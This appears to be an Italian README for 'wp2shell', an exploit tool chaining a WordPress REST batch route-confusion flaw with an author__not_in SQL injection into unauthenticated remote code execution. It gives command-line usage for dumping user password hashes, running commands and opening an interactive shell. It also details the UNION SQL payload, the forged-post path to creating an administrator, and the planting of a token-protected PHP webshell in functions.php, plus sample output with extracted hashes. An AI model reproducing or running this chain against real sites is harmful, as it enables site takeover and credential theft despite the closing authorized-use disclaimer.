
CVE-2026-63030 / wp2shell
Catena di exploit RCE per WordPress. Non autenticata. CVSS 9.8.
| Branch | Vulnerabile | Corretta |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
Due CVE concatenate in un'esecuzione di codice remoto non autenticata:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
| Fase | CVE | Vettore |
|---|---|---|
| 1 | CVE-2026-63030 | L'indice REST /batch/v1 disallineato desincronizza la validazione dall'invio |
| 2 | CVE-2026-60137 | Il parametro WP_Query author__not_in salta absint() quando passato come stringa |
| 3 | — | UNION SELECT forgia righe wp_posts; oEmbed → customizer → wp_insert_user |
| 4 | — | Autenticarsi come l'amministratore appena creato |
| 5 | — | L'editor del tema inietta una webshell protetta da token nel tema attivo |
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
L'endpoint batch di WordPress in /?rest_route=/batch/v1 accetta un array di sotto-richieste. Quando una sotto-richiesta ha un percorso non analizzabile (///), viene aggiunto un WP_Error a $validation ma non a $matches. Il ciclo di dispatch abbina quindi la richiesta N con l'handler N+1 — così una richiesta validata rispetto a uno schema viene inviata a un handler diverso.
L'exploit invia un batch annidato a 3 livelli in cui ogni livello usa un primer di desync in posizione 0 per spostare gli indici. La richiesta più interna — validata come elemento singolo di post (GET /wp/v2/posts/999999) — finisce sull'handler della collezione (posts->get_items()). Poiché lo schema dell'elemento non definisce author_exclude, il parametro passa senza validazione.
get_items() mappa author_exclude → author__not_in e lo passa a WP_Query. Quando author__not_in è una stringa (non un array), il blocco array_map('absint', …) viene saltato. La stringa grezza finisce direttamente in:
WHERE post_author NOT IN (<payload>)
Il payload 0) UNION ALL SELECT …-- - chiude la lista NOT IN e aggiunge SQL arbitrario.
La tabella wp_posts di WordPress 7.0.x ha esattamente 23 colonne. Iniettando una riga contraffatta tramite UNION ALL SELECT con orderby=none (sopprime la clausola ORDER BY finale) e per_page=500 (mantiene WP_Query in modalità riga completa), il titolo del post contraffatto — contenente un marcatore ||HEX|| — viene riflesso nella risposta REST. Tutti i valori stringa utilizzano letterali esadecimali MySQL (0x…) per evitare problemi di escape delle virgolette attraverso la codifica URL.
[embed] → WordPress crea 3 righe oembed_cachewp_posts che formano una catena di changeset del customizer[embed] viene renderizzato, attivando WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>) e una password (Wp2!<random>)Accesso come nuovo amministratore → estrazione del nonce dell'editor dei temi → iniezione di una webshell PHP protetta da token all'inizio del file functions.php del tema attivo → accesso tramite ?t=<token>&c=<command>.
wp_remote_post() prima del salvataggio. Se il container non riesce a raggiungere se stesso tramite hostname, la modifica del tema viene bloccata. In questi casi, utilizzare --dump-users + accesso manuale.--check.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
Questo strumento è destinato esclusivamente a ricerca di sicurezza autorizzata e scopi educativi. Utilizzarlo solo contro sistemi di cui si è proprietari o per i quali si dispone di esplicita autorizzazione al test. Gli autori non si assumono alcuna responsabilità per usi impropri.